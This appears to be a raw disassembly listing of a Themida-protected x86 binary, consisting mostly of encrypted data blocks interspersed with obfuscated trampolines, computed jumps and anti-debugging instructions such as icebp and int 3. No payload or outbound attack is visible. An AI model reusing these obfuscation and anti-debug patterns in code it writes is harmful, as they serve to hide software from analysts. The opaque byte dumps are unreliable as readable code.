dd 0CFD1F1E7h, 0F8885FA7h, 8B32318h, 0A1AD045Ch, 66D0FFE0h
dd 0F2683A20h, 0F89ABED1h, 0B15A7C49h, 0F267C5ABh, 19B1D9D1h
dd 0DC8156Dh, 79A800ACh, 0A6AC026Fh, 0D1F267C0h, 0CC14ACD4h
dd 0F26800C6h, 0F6FCD451h, 51F26810h, 1264FC24h, 9734h
dd 0A5138B00h, 0F0ABB1F9h, 1C57E510h, 0C7F22A45h, 3683DA2Dh
dd 69ED1CA1h, 2B31F941h, 58067D45h, 957B8159h, 0A958067Ch
dd 50BAE981h, 0D6289343h, 32DEDDF9h, 67E0BECh, 0C7836758h
dd 7E646A32h, 9258067Eh, 0A6303B6Ah, 0D100CD15h, 83369BE8h
dd 0A46C4454h, 67DB89Eh, 75A4CC58h, 951FD6Bh, 0F726973Ch
dd 0C6B5EBF1h, 41695E01h, 15C08D95h, 71A0F8A4h, 9F4B7066h
dd 53EAA84Ah, 0EBF139E5h, 641DEFB5h, 734110E7h, 94BE74A2h
dd 67B9E165h, 0A714C28Fh, 8D74A3FBh, 0B1F9A513h, 0ED3075ABh
dd 0FCDAA757h, 0BDC52400h, 42DAA646h, 8B0F3E96h, 0F3E325AEh
dd 2C8430C8h, 0FBDBE894h, 27AB78C0h, 6190E894h, 26AC7951h
dd 2E8F4895h, 0D9E2F4FFh, 0F61EE72Dh, 94F823AAh, 23983EF6h
dd 29E2F4D1h, 0D6755B61h, 6189A40Ch, 0CD5F5DBh, 99E109A4h
dd 0CD5AD93h, 199C1A4h, 58804D55h, 0A82D3867h, 6E106511h
dd 0FDBE182Ch, 0B308CEABh, 3F907h, 0E4500000h, 0F5CA127Dh
dd 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh
dd 3B61F2Ch, 33884A57h, 64597A87h, 895133B8h, 4C181E1h
dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 81E18951h, 4C1h
dd 4E98300h, 5C240C87h
; ---------------------------------------------------------------------------
mov [esp-4+arg_0], ecx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp-4+arg_0], edi
push ebp
mov ebp, 5ECA73D4h
sub ebp, 268F78ABh
sub ebp, 321ED1AFh
mov ecx, ebp
pop ebp
push esp
mov edi, [esp+0]
add esp, 4
push 15F3h
mov [esp+0], ecx
pop dword ptr [edi+8]
mov edi, [esp-4+arg_0]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
push [esp-4+arg_0]
pop ecx
add esp, 4
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 29h
; ---------------------------------------------------------------------------
loc_5CBAD3: ; CODE XREF: sub_5CB4D0:loc_5CB554j
mov eax, 61C2E6Bh
add eax, ebp
jmp eax
sub_5CB4D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 36D8DC72h, 3B342C63h, 42458406h, 71C01299h, 3E47FF9Bh
dd 129B4369h, 4CCB3FEBh, 3AD58298h, 67EC0100h, 5E9293AAh
dd 1B2916E1h, 58E297ABh, 2318F1ABh, 189BFE5h, 20DB2BE3h
dd 10B35351h, 10EBh, 3 dup(0)
align 10h
push 0
push edx
call sub_5CBB3B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBB3B proc near ; CODE XREF: Themida_:005CBB33p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5CBB3B endp
; ---------------------------------------------------------------------------
mov ch, 0B1h
icebp
sahf
ja loc_5CBB5B
add [ebp+6142B05h], edx
loc_5CBB5B: ; CODE XREF: Themida_:005CBB4Fj
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_5CBB6D
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5CBB86
loc_5CBB6D: ; CODE XREF: Themida_:005CBB62j
push eax
push ebx
mov eax, eax
mov eax, 42Dh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B73Ah]
call ebx
pop ebx
pop eax
loc_5CBB86: ; CODE XREF: Themida_:005CBB6Bj
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5CBBA6
push eax
push ebx
mov eax, 42Dh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B429h]
call ebx
pop ebx
pop eax
loc_5CBBA6: ; CODE XREF: Themida_:005CBB8Dj
push 0
push ecx
call sub_5CBBB1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBBB1 proc near ; CODE XREF: Themida_:005CBBA9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5CBBB1 endp
; ---------------------------------------------------------------------------
db 74h, 29h, 8Dh
; ---------------------------------------------------------------------------
xchg eax, ecx
pop es
adc al, 6
mov edx, [ebp+6141BEDh]
mov eax, eax
stc
mov esi, [ebp+61422E5h]
mov ecx, [ebp+61401B9h]
push 0
push esi
call sub_5CBBE8
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBBE8 proc near ; CODE XREF: Themida_:005CBBE0p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5CBBE8 endp
; ---------------------------------------------------------------------------
lodsb
inc ebx
int 3 ; Trap to Debugger
lodsb
mov dx, 0A975h
pusha
add esi, [ebp+614217Dh]
jge loc_5CBC11
mov dx, 4BCh
loc_5CBC11: ; CODE XREF: Themida_:005CBC07j
popa
cmp ecx, 0
jz loc_5CBC84
push 0
push edx
call sub_5CBC26
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBC26 proc near ; CODE XREF: Themida_:005CBC1Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5CBC26 endp
; ---------------------------------------------------------------------------
stosd
xor eax, 25298D01h
adc al, 6
mov edi, large fs:2Ch
jnz loc_5CBC50
mov edx, 6A3F0B6Fh
loc_5CBC50: ; CODE XREF: Themida_:005CBC45j
mov esi, edi
or edi, edi
jz loc_5CBC84
push esi
jnz loc_5CBC67
sub [ebp+6140CA1h], ebx
loc_5CBC67: ; CODE XREF: Themida_:005CBC5Bj
pop esi
mov edi, [edi]
xor [ebp+61425BDh], eax
mov si, 0DF2Ch
xor al, al
or edx, [ebp+6140869h]
rep stosb
or [ebp+614321Dh], esi
loc_5CBC84: ; CODE XREF: Themida_:005CBC15j
; Themida_:005CBC54j
xor eax, 53504149h
xor esi, [ebp+6143485h]
mov byte ptr [ebp+6141A59h], 47h
mov edx, [ebp+61402F1h]
push 0A40295F1h
add dword ptr [esp], 38D3F23Bh
mov dl, al
push dword ptr [ebp+6141AD1h]
pusha
jmp loc_5CBCCA
; ---------------------------------------------------------------------------
dw 0A3E3h
dd 0FD6C201Eh, 5FAF1EB8h, 1CA7BA27h, 0C4FFA4F4h
db 2Fh, 0B4h
; ---------------------------------------------------------------------------
loc_5CBCCA: ; CODE XREF: Themida_:005CBCB1j
popa
lea eax, [ebp+61780DBh]
sub [ebp+6143225h], edi
call eax
sbb esi, 1FD409AFh
mov [ebp+6140C91h], eax
mov [ebp+6142415h], esi
mov byte ptr [ebp+6141A59h], 53h
mov edx, [ebp+61421B1h]
push 277192B4h
jmp loc_5CBD11
; ---------------------------------------------------------------------------
dw 791Eh
dd 0A8C983FFh, 730F2D04h, 7BD81417h
db 0Dh
; ---------------------------------------------------------------------------
loc_5CBD11: ; CODE XREF: Themida_:005CBCFDj
add dword ptr [esp], 6126D848h
push 0
push eax
call sub_5CBD23
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBD23 proc near ; CODE XREF: Themida_:005CBD1Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5CBD23 endp
; ---------------------------------------------------------------------------
db 73h
dd 4A9630Bh, 0FFD375DCh, 141AD1B5h, 0D38B6606h, 80DB858Dh
dd 8D890617h, 6142369h, 0BA66D0FFh, 0F6070D6h, 8D8BFAB7h
dd 6142431h, 6858D61h, 8B06173Eh, 258589D6h, 89061435h
dd 142B3D9Dh, 0DEE68006h, 0FF6A206Ah, 352595FFh, 49350614h
dd 0C7535041h, 1403D985h, 106h, 0FD85C700h, 61429h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0C552C355h, 764AD0A8h, 8589534Fh, 6140061h
dd 0C995235Ah, 0F9061421h, 1CB1858Bh, 0F08B0614h, 0A364h
dd 83F50000h, 142309BDh, 840F0006h, 5Ch, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 0EFC35242h, 7131B470h
dd 9600D42Ch, 66F28166h, 13830F3Eh, 0E8000000h, 7, 1BF4111Ch
dd 89B0D5F4h, 14223D85h, 858B5E06h, 6142189h, 68F0Fh, 95330000h
dd 6142AF1h, 958BE08Bh, 6140FEDh, 3DBD83h, 0F000614h, 46F85h
dd 38E0F00h, 66000000h, 85C6F08Bh, 6141A59h, 53006A56h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0C0E02817h, 513411DCh, 0E8D68B66h, 4, 0A9C530DFh, 6E9h
dd 716EB300h, 504A5173h, 14E9h, 47D16400h, 5F4A2B40h, 0DB7AF828h
dd 75DD9E18h, 85BCF94Ah, 24448B89h, 0DDBA6604h, 0F008B79h
dd 1288h, 0AE85600h, 29000000h, 0B1EE9535h, 61C56554h
dd 895A5EE2h, 66042444h, 5821BEBEh, 1AD1B5FFh, 6A0614h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 6AB16CC3h, 858D4C00h, 61780DBh, 8E0F53h, 5E000000h
dd 7E9D0FFh, 39000000h, 2B7DFB62h, 50900671h, 66525060h
dd 310FF18Bh, 9061585Ah, 1D618531h, 8D8D0614h, 6140095h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0AAC35545h
dd 15C68166h, 0BE6650E4h, 0C898DD0h, 52006A24h
; ---------------------------------------------------------------------------
loc_5CBF68: ; DATA XREF: Themida_:005497DCo
; Themida_:00549AC0o ...
call sub_5CBF70
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBF70 proc near ; CODE XREF: Themida_:loc_5CBF68p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5CBF70 endp
; ---------------------------------------------------------------------------
mov ch, dh
mov [ebp+6142E61h], eax
mov esi, 5A30DAFDh
push 4
push 0
push esi
call sub_5CBF9A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBF9A proc near ; CODE XREF: Themida_:005CBF92p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5CBF9A endp
; ---------------------------------------------------------------------------
dw 0F72h
dd 380h, 0D1BF0F00h, 0BE9h, 0DD975B00h, 0DC119474h, 0E641CDF0h
dd 0C47AED68h, 8B6651F0h, 4815ED3h, 3B951324h, 57006A0Fh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 51D39635h, 0E9F0492Ah, 9, 9C6AD33h, 1DD51B43h, 0F9B5FFF0h
dd 6A061424h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0CCF6C357h, 0D0FFC411h, 1A31BD89h
dd 0BD8B0614h, 61424F9h, 0B58B5150h, 6141DADh, 7F035E5Eh
dd 39BD893Ch, 81061405h, 0F8C7h, 79B58B00h, 0C7061414h
dd 202447h, 5E506000h, 2F3FBD83h, 0F00061Ch, 16E84h, 0AE800h
dd 0F3F50000h, 4670AEBh, 62880C82h, 0BE8h, 7F53A300h, 1B4CEA2Ch
dd 47AEF8ECh, 5A5E6160h, 6028C783h, 0BC99589h, 10E80614h
dd 0ED000000h, 0F4C2B7B6h, 55C5D1F2h, 78EC9BD6h, 0F21B27Ch
dd 615FF2B7h, 6A2E07C7h, 6A6469h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 0DF3B7AC3h, 0BE66DDA1h
dd 47C735D8h, 61746104h, 858BF500h, 61C2F47h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8CC35545h, 89F8C030h
dd 958B0C47h, 61410D5h, 2F4B858Bh, 4789061Ch, 0C99D8908h
dd 83061414h, 0BA5728C7h, 61EC3FDBh, 2E07C75Eh, 6A6E6F63h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 8BA3C353h, 0F6816680h, 47C7BC15h, 67696604h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 8A3B2716h, 0F63C3566h, 8166162Fh, 33E346CEh
dd 14151DB5h, 43858B06h, 89061C2Fh, 140A099Dh, 0F1858906h
dd 8906142Ah, 0BE660C47h, 858B0392h, 61C2F3Fh, 0DE9h, 5A60AB00h
dd 0CDFB0EFh, 8D88BDD7h, 47897B30h, 0E9606008h, 0Bh, 88D4749Dh
dd 5D5B743Ah, 89D093DFh, 140D5DBDh, 58616106h, 5E8h, 3D768800h
dd 9D898D1Fh, 6140BFDh, 658D8D5Ah, 33061426h, 141AA9B5h
dd 0BE669106h, 0BA509DA2h, 22CC728Eh, 0BD952B91h, 60061425h
dd 1D9D2950h, 5F061408h, 0B5FF61FCh, 6140095h, 12E9h, 0D95CD200h
dd 1FF2827Ah, 0C463B828h, 0F9F7E443h, 68C58D67h, 946CAA3Bh
dd 481F48Ah, 9365C524h, 55006A6Bh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0C32F6977h, 0E5973316h
dd 81666617h, 0FF0771EEh, 1424F9B5h, 9830F06h, 60000000h
dd 38437EBEh, 6159513Dh, 1031958Bh, 0D0FF0614h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 48C35040h, 0E9C18147h
dd 0Eh, 8766BC04h, 0CB913BE4h, 0A59EF037h, 0BD89C1D0h
dd 6142E79h, 0B8h, 0DE816600h, 5660570Eh, 15958Bh, 895E0614h
dd 1430AD8Dh, 0C00B6106h, 4C840Fh, 958B0000h, 61424F5h
dd 71FFDA81h, 0B5FF14CEh, 6140299h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 7FC35646h, 137621Dh, 0FDB52960h
dd 1061410h, 142B81BDh, 95FF6106h, 6142361h, 2D1B58Bh
dd 0C08B0614h, 2820Fh, 0ECB60000h, 30B1BD83h, 75000614h
dd 0E1BD8309h, 6141Ah, 53501974h, 2DB8C08Bh, 89000004h
dd 1430C185h, 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh
dd 17740006h, 2DB85350h, 89000004h, 1430C185h, 429D8D06h
dd 0FF0616B4h, 0F585BD3h, 283h, 0BAF28B00h, 316772C0h
dd 12797DBAh, 6AC08B27h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0C9D5C355h, 6B26C1FAh
dd 0E9845BEh, 0AD952B61h, 8B06140Bh, 0BC8D8DC0h, 66061C38h
dd 54B8C38Bh, 89295507h, 1432298Dh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0B5DB1D2Eh
dd 8B66F261h, 4D85C7D0h, 0E8061406h, 6A000072h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0A828C350h, 0BFCE8166h, 7185C71Ah, 61426h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 47D6C351h, 8B52AFB2h, 0B5FF5AFEh, 61406A5h
dd 95FF9DB2h, 6142361h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0EC35040h, 9EE75DB3h, 52152892h, 0C49958Bh
dd 858B0614h, 61405D9h, 95FF006Ah, 6141169h, 1EEBC08Bh
dd 0D097786Dh, 7E19B5A3h, 0BC0B4EA1h, 0BF8E74BFh, 54C95716h
dd 0FB315E7Dh, 0ADB47C7Ah, 8D8DD9B1h, 61C39E1h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 41C35545h, 8D89E901h
dd 6143229h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 1EC35343h, 0C151AB7h, 85895985h, 6141BC9h, 64D85C7h
dd 5CEC0614h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0C70A27C3h, 14267185h, 6, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0FA52A1DAh, 0ED958B50h, 5F061400h, 2319B5FFh, 6A0614h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 1EFCC3C3h, 0E94DD54Bh, 8, 413C6E04h, 8D0EF047h, 236195FFh
dd 12E90614h, 1F000000h, 744D0CDDh, 8875EB84h, 2A361775h
dd 2F8A088h, 0FF006AAAh, 14116995h, 0EBC08B06h, 0BADE261Eh
dd 2FD27E58h, 8FD37432h, 0D998FA76h, 0EDE1140Eh, 4556E474h
dd 0D88EB7A2h, 0E8BC6AA5h, 12h
dword_5CC5E8 dd 3CBC1AECh, 56DAA80Fh, 0E5C42D23h, 0C6653726h, 8D8B5B71h
; DATA XREF: Themida_:0054ACA0o
dd 6142CF5h, 0C1BD895Fh, 81061420h, 595DC7h, 68F0F00h
dd 29000000h, 1405FD9Dh, 8BDB2B06h, 0B70F1F14h, 0CCEA81CFh
dd 293C6A2Ah, 1434E9B5h, 0F8F28106h, 661BE0E5h, 811B58B9h
dd 0DAAF8EC2h, 1DF48023h, 0F1F1489h, 28Eh, 0F9F08B00h
dd 7E06EB81h, 81667D42h, 818CDDF1h, 427E02C3h, 7D858B7Dh
dd 81061434h, 0FFA72CFBh, 0AC850FFFh, 89FFFFFFh, 14192D9Dh
dd 0E900EB06h, 41Bh, 40922DAFh, 0FB4D7063h, 0B507B41Eh
dd 6ABCFDD8h, 21734A8Dh, 0F7E0D0E8h, 3A9774C6h, 88502D7Fh
dd 0CE08E537h, 78F9BEDh, 0E221B01h, 0CD342F58h, 0B4FCC112h
dd 0BC16EEE7h, 63BB67FFh, 8B472434h, 0D401DE30h, 8D09DE5h
dd 9B7888B7h, 572F813Ch, 0C5243C80h, 8AB9A467h, 1365587Fh
dd 0D61E9B36h, 6322080Eh, 0E3651F2h, 0E6F2CFDFh, 2CAA87D9h
dd 403E67D0h, 0BB53A7F3h, 0E5429C73h, 0EA6CDAA3h, 1C95ABBBh
dd 0C057EACFh, 0DDDEF851h, 8B12431h, 0DEF7C45Ch, 3FAD89DBh
dd 0A641478Fh, 145E00E2h, 0FDCA4ECh, 886EF4C7h, 9C5E21C2h
dd 95DB4574h, 5E21C2B3h, 74209938h, 0A14D7067h, 0E8C9896Dh
dd 4843FF21h, 0F2BE171Dh, 137E1h, 0C512F800h, 923F4CF8h
dd 636E7B27h, 0BA42BE56h, 9861BF2h, 38DC9867h, 92D3C509h
dd 0A67D51F2h, 0A62B2DC0h, 14B2BC13h, 173FC3F2h, 43785E6Bh
dd 0F9C214F1h, 777D454Dh, 51F2BB91h, 444E7DA5h, 1AE22AD6h
dd 0F2BC2E14h, 0EB1A4251h, 0E0F4DFE5h, 0A98057E5h, 0D0A6F24Bh
dd 229D3BF3h, 57861E76h, 0AAFFABD3h, 24B24A08h, 81874F97h
dd 5806569Bh, 5741272Dh, 2D555806h, 103F67h, 407B5B28h
dd 30DCDFF3h, 319FA9D8h, 0C83F458Dh, 0FE5DF9A7h, 5C08B721h
dd 0D0B6BC04h, 0E45E1A86h, 0FDC24BCh, 0F34BF7C2h, 8A4D5AC4h
dd 0D304E133h, 731F9E35h, 0CBD7831Bh, 6268B05Eh, 5E1A874Ch
dd 5665713Eh, 0D20552AAh, 1038BCEBh, 0E0DBFBC8h, 9DADDC34h
dd 63AB53C1h, 0DA5365Dh, 0F8A4CC64h, 7D5B28F0h, 0A5D6BC42h
dd 0C2EA642Eh, 6E4F8893h, 816D441Ch, 2C2D6084h, 5C7B86B5h
dd 3CA9B561h, 1E484E96h, 28642EE3h, 7B3E9360h, 2EE40FF5h
dd 6BFB9264h, 0C6F12E28h, 8A90D800h, 642E57A4h, 0DD6190B8h
dd 0BE8B63B5h, 34BA217h, 6037E262h, 3E99A4D3h, 88552D7Fh
dd 5B42714Ah, 0B1F9A513h, 0E534C8ABh, 0DCF9D657h, 8C9945DDh
dd 11F714Ah, 9A48B564h, 0BC16E3F9h, 0AA8CD0FFh, 2F580614h
dd 0E5C214A7h, 111ECAF1h, 0D84AF6C5h, 5B23D674h, 6156F55h
dd 0E6D7FC58h, 0BEC9F820h, 845BA318h, 4EB6E255h, 0A3B3E2EAh
dd 0D9AC0065h, 90965EF8h, 580639AAh, 16796BEh, 3Dh, 0F9A51318h
dd 0CC0ABB1h, 0A6CE57E5h, 242AF2FAh, 58060D3Eh, 0EFB508CBh
dd 4BDBAA08h, 0C55D5EFFh, 704B8B96h, 787E461Eh, 58067492h
dd 0E2C8CEA6h, 0F6580674h, 0FB0736CEh, 20h, 494F1752h
dd 51F1E863h, 0ED4E5F0h, 29ACB7E6h, 5DCE490h, 155614BBh
dd 535E8D35h, 2DE63883h, 0A4F6C312h, 8E431098h, 0F8277F2Bh
dd 0E7F2ECF2h, 0D49C51F1h, 41EDD007h, 0E87D63E9h, 699151F1h
dd 5602BB1Ch, 234BCFFEh, 4F6C6A77h, 0EEAC4EA3h, 0AD79F27h
dd 0EE46F2C7h, 0E7817BBFh, 0D0AD51F1h, 0E7D80006h, 9F4BE33Bh
dd 9F67AF47h, 4C25ABC8h, 9384198h, 0F287DFC5h, 79CBF351h
dd 0F9C23A9Ch, 9E088A91h, 44DCDFF3h, 14365AACh, 2EDFh
dd 4A173600h, 957B818Eh, 0A951F1E7h, 0AFBAE981h, 0DBE89427h
dd 966EC0FBh, 0FC0209C9h, 51F1E816h, 0BE6A022Ah, 0F8090F66h
dd 67DDCFD8h, 1298FF38h, 3C49F5CAh, 6875219Ah, 96A34F70h
dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h
dd 33B86459h, 524468h, 240C8900h, 0C181E189h, 4, 8704E983h
dd 575C240Ch, 0C781E789h, 4, 8704EF83h, 895C243Ch, 2568240Ch
dd 8900005Bh, 0BA522434h, 72F17050h, 2ACA4DB9h, 8BD10193h
dd 0C4812414h, 4, 24348B54h, 5104C483h, 78240481h, 8F3B0E16h
dd 0BA520846h, 3B0E1678h, 5A085629h, 5324348Bh, 0C381E389h
dd 4, 8704C383h, 8B5C241Ch, 8950240Ch, 405E0h, 4050000h
dd 87000000h, 0E95C2404h, 0FFF83F6Fh, 2DB8B21Dh, 0B85E76FBh
dd 61C3E21h, 0E0FFC503h, 6F2A95C4h, 10B1D3D6h, 50D44FB4h
dd 4B9BDA0Fh, 30501610h, 361198F1h, 40CDC3AFh, 98C2EC8h
dd 5E2737A6h, 43EB9BEh, 0AE956h, 65020000h, 89C4D1E3h
dd 52D36973h, 0E8D3BF0Fh, 6, 802570E6h, 5AF9BCC0h, 0E9F78B66h
dd 0Eh, 0E1BB654Ah, 7B77AD4Ah, 62834242h, 12E9DFADh, 0C000000h
dd 0BEC0F29Dh, 54ECF7E1h, 36D6176h, 693E3906h, 8B0F52F0h
dd 2, 0F58FA8Bh, 8B66DFBFh, 0A880FCBh, 0E9000000h, 5, 0F71B15A3h
dd 0CE976h, 28190000h, 3CA4E3E2h, 0D02ADD7h, 0F604F81h
dd 181h, 0BE60F800h, 1B3E0A43h, 0B1ACF81h, 616117B3h, 18A0Fh
dd 0E8F90000h, 11h, 1C905B89h, 82F6B98Fh, 25280296h, 69E46D48h
dd 14810F2Eh, 0E9000000h, 0Fh, 0C9F9FA8h, 0D0F64717h, 6DD4B708h
dd 5A87C9F8h, 0C28177B0h, 1B4B5985h, 32E9B866h, 0E9D2B70Fh
dd 6, 9B916B4Eh, 0D281AAE1h, 4A0D4FE2h, 9E38166h, 8E997h
dd 0FA650000h, 3BD50175h, 0EF809F40h, 0E974B56Ah, 0Bh
dd 740D4774h, 547E02C4h, 0F1B55C8h, 684h, 830F00h, 66000000h
dd 0FC0531BBh, 81C4F780h, 5FDA60C1h, 58C28124h, 0E921843Fh
dd 14h, 4DA50DFEh, 50AD6D73h, 578BA8D6h, 0F4805964h, 6FBFDD38h
dd 10E9h, 0B0425100h, 81E395A8h, 72B95345h, 465D2035h
dd 0CABF0F0Ah, 0B79FBF66h, 12E9h, 88E14900h, 0E6B1B0A1h
dd 25238E10h, 0D0636451h, 807DEA3Fh, 0BA66D9EDh, 0B70F566Eh
dd 816660CBh, 803253CBh, 8B6100C7h, 8B6057CEh, 0CE8D3h
dd 0E52E0000h, 17644588h, 6B3423CFh, 61597977h, 0F181665Fh
dd 0EE9C1A2h, 53000000h, 0F92FBF9Dh, 8268286Fh, 2EEE8888h
dd 15800F6Eh, 0E9000000h, 10h, 0CB27A6F7h, 7D26FB7Dh, 3EDB50E8h
dd 5BA8461Bh, 667ED080h, 565F281h, 0D38A5151h, 0BF0F585Fh
dd 87CF81CEh, 0F51B22Dh, 870FC0B7h, 3, 0E9F38B66h, 8, 0A9208144h
dd 0D4E958EBh, 5D08ACBBh, 0B966F85Eh, 0B866423Fh, 12E91091h
dd 80000000h, 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh
dd 0CBBF0FAEh, 81F7BF0Fh, 8E96DBCEh, 8B66601Dh, 0C28061F3h
dd 7BBF660Ch, 9E9EFh, 0B6CF0000h, 92D9C421h, 0F532CEE9h
dd 0E245DA81h, 0D08107E9h, 52D65A26h, 10860Fh, 8E80000h
dd 49000000h, 0F675115Fh, 8AE1FB36h, 90BF5ADDh, 0E9339508h
dd 0Bh, 0A815DE1Bh, 0F3F08240h, 0E91DD274h, 9, 47BB9398h
dd 113B49Ah, 0AE9CBh, 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah
dd 0E9F08BF8h, 13h, 9E93CD5Ah, 7372B7E6h, 9FD14C28h, 73F0020Eh
dd 6670E526h, 19B3D68Bh, 0DE8h, 0CCB77000h, 773C44E0h
dd 88A07890h, 0E68A1536h, 0C6BF0F5Fh, 0E9F6BF0Fh, 0Ch
dd 0FE8FCB49h, 9C22F12Dh, 61A7ED0h, 0AC50FBFh, 0DF816658h
dd 0BE660368h, 8B667C59h, 0AE9C2h, 0EDC40000h, 459B099h
dd 277F148Ch, 0D8B0Fh
dd 8E90000h, 21000000h, 0E2B44B2Fh, 0B6518137h, 10E982h
dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0F1813DDCh
dd 5E299C1Fh, 0D5B7BA66h, 6657F3B1h, 5FD81ABFh, 0BE9h
dd 376D600h, 0FC6F8DC1h, 29C9C20Ah, 0DE960h, 0D4E90000h
dd 9B8DB5AFh, 0A592DDFDh, 66CFBD9Ch, 61C9BAB9h, 0F3816660h
dd 0E95072CFh, 5, 8D448FF1h, 0F86159B4h, 74F18166h, 0F28151B8h
dd 491DE5FAh, 7E959h, 905F0000h, 85FD1350h, 16D48020h
dd 0C21ABA66h, 9E8h, 1BA6E300h, 0CFC0696Eh, 0C38102B2h
dd 78E9B0CEh, 0BF0F5258h, 0DE958D9h, 0D4000000h, 4852EFCCh
dd 0F41B4C0h, 86C660E7h, 32BB6651h, 0E8805ADEh, 88BBF85Fh
dd 8042785Eh, 8B6630E6h, 8A0FC1h, 66000000h, 940EC181h
dd 0EE8h, 0E2207400h, 2F6DD56Bh, 40BC1E47h, 0F944956h
dd 80h, 81665800h, 0F4800C0h, 0BF66F3B7h, 11E99FF1h, 0AF000000h
dd 595516CDh, 3A629E37h, 747FEBE6h, 0BC8917CEh, 93D18052h
dd 0DD0B85Eh, 0EE97C27h, 7000000h, 0A102B943h, 0E81108AAh
dd 693B5CD4h, 0F28B664Bh, 0B40EE780h, 6860F6Eh, 81000000h
dd 632455DAh, 88EA8031h, 5840Fh, 0D2BB0000h, 601C827Ah
dd 8A11B866h, 11E9h, 0AE078E00h, 0BECD47B4h, 86B0C0E4h
dd 0D7B2A24Eh, 666180D3h, 0F174BBAh, 5251F3BFh, 7E8h, 5ABECB00h
dd 348099DDh, 0B95F5B59h, 31AEAA49h, 880FE5B0h, 2, 12E9FB8Bh
dd 0CC000000h, 0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch
dd 0F8F9601Ch, 92B86661h, 12E847h, 64E10000h, 51537D33h
dd 0FC7718AAh, 0F1F9C9F2h, 71C8856h, 0EFF28166h, 0BE95B7Ah
dd 0F4000000h, 0C7BC7346h, 45F3EF73h, 0CB8BBEBDh, 5E40EE81h
dd 0BF0F2793h, 5EF857D2h, 8A5F57F8h, 4EF680EFh, 0E9D3BF0Fh
dd 10h, 0B10DB2F0h, 0B0D30739h, 6F29DFB3h, 0D7CE3498h
dd 9E9FCFCh, 19000000h, 3B1720AFh, 98D6C09Ah, 2870Fh, 0E38A0000h
dd 14E9h, 899D500h, 0D2619536h, 0D1A3CC68h, 7D604404h
dd 722AE0F2h, 7E948h, 4DA40000h, 0B929317Ch, 0A7BA6678h
